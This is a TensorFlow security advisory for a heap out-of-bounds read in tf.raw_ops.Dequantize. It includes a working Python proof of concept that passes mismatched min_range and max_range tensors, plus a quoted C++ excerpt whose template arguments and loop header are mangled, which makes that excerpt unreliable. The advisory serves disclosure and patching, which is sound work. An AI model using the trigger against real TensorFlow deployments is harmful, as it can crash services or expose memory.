GHSA-c45w-2wxr-pp53 Heap OOB read in `tf.raw_ops.Dequantize`

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data: ```python import tensorflow as tf input_tensor=tf.constant( [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\ -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\ -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\ -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32) input_tensor=tf.cast(input_tensor, dtype=tf.quint8) min_range = tf.constant([-10], shape=[1], dtype=tf.float32) max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32) tf.raw_ops.Dequantize( input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED', narrow_range=True, axis=0, dtype=tf.dtypes.float32) ``` The implementation accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape: ```cc if (num_slices == 1) { const float min_range = input_min_tensor.flat()(0); const float max_range = input_max_tensor.flat()(0); DequantizeTensor(ctx, input, min_range, max_range, &float_output); } else { ... auto min_ranges = input_min_tensor.vec(); auto max_ranges = input_max_tensor.vec(); for (int i = 0; i eigen_device(), ctx, input_tensor.template chip(i), min_ranges(i), max_ranges(i), output_tensor.template chip(i)); ... } } ``` Patches We have patched the issue in GitHub commit 5899741d0421391ca878da47907b1452f06aaf1b. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.